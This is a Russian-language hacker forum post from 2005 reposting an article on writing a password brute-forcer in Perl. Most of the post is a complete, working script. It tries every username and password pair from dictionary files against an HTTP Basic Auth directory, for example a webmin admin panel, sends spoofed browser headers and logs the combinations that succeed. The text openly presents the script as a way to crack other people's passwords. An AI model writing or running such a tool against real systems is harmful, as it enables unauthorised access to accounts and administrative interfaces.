ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Brute force на perl'e.
  #1  
Старый 06.02.2005, 19:01
Аватар для foreva
foreva
Участник форума
Регистрация: 05.02.2005
Сообщений: 121
Провел на форуме:
0

Репутация: 10
Отправить сообщение для foreva с помощью ICQ
По умолчанию Brute force на perl'e.

Brute force на perl'e.
Автор: Forb
Источник: nsd.ru


Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса =)). Еще одна слабость брутфорса - это медленная работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные - пройдет довольно много времени. Дохлый номер... наверное подумаешь ты Но я тебя обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом Чтобы удовлетворить эти 2 потребности потребуются два компонента: - Прямые руки - *nix шелл с открытыми соединениями в internet + поддержка background processes В общем-то достаточно... Таким образом, у нас два среды для написания брутфорса - Си и Перл. Как истинный фанат я остановлюсь на втором =) Perl - установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет. Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих статьях (), так что повторяться не буду. Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.

Итак, поехали:
Код:
#!/usr/bin/perl 

## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com 
## Modified by sikeirosa: sikeirosa@mail.ru 

use MIME::Base64; 
use IO::Socket; 
use POSIX; ### Подрубаем модули POSIX, Socket и Base64 

$server="127.0.0.1"; ### Удаленный сервер 
$port="80"; ### Удаленный порт 
$dir="/admin"; ### Запароленная директория 
$logfile="sucess.log"; ### Логфайл, куда пишем пароль  
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
$words="bigdict.txt"; ### Словарь (файл с паролями) 
$users="users.txt"; ### Имя пользователя 

open(file, "<$words") or die print "$!\n"; 
@pwd_data=; 
$total=@pwd_data; 
close file; ### Записываем все пароли в один массив 


open(file, "<$users") or die print "$!\n"; 
@users_data=; 
$total*=@users_data; 
close file; ### Записываем всех пользователей в один массив 

$i=0; 
foreach $user (@users_data) { 
   foreach $pass (@pwd_data) { 
      $i++; 
      chomp($pass); 
      chomp($user); 
      open(file, ">$log") or die print "$!\n"; 
      $perc=($i*100)/$total; 
      $perc=ceil($perc); ### Высчитываем процент 
      print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
      close file; 

      $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
      chomp($auth); 

      ### Порождаем сокет 
      $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
      print $socket "GET $dir HTTP/1.1\n"; 
      print $socket "Host: $server\n"; 
      print $socket "Accept: */*\n";    
      print $socket "Referer: http://support.microsoft.com/\n"; 
      print $socket "User-Agent: Internet Explorer 6.0\n"; 
      print $socket "Pragma: no-cache\n"; 
      print $socket "Cache-Control: no-cache\n"; 
      print $socket "Authorization: Basic $auth\n"; 
      print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 

      $ans=<$socket>; ### Получаем ответ от сервера 
    
       
      if ($ans=~/200 Ok/i or $ans=~/301/i) { 
         open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог 
         print logf "$user:$pass is OK!!!\n"; 
         close logf; 
      } 
      close($socket); 
   } 
}
Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи

Последний раз редактировалось foreva; 06.02.2005 в 19:07..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ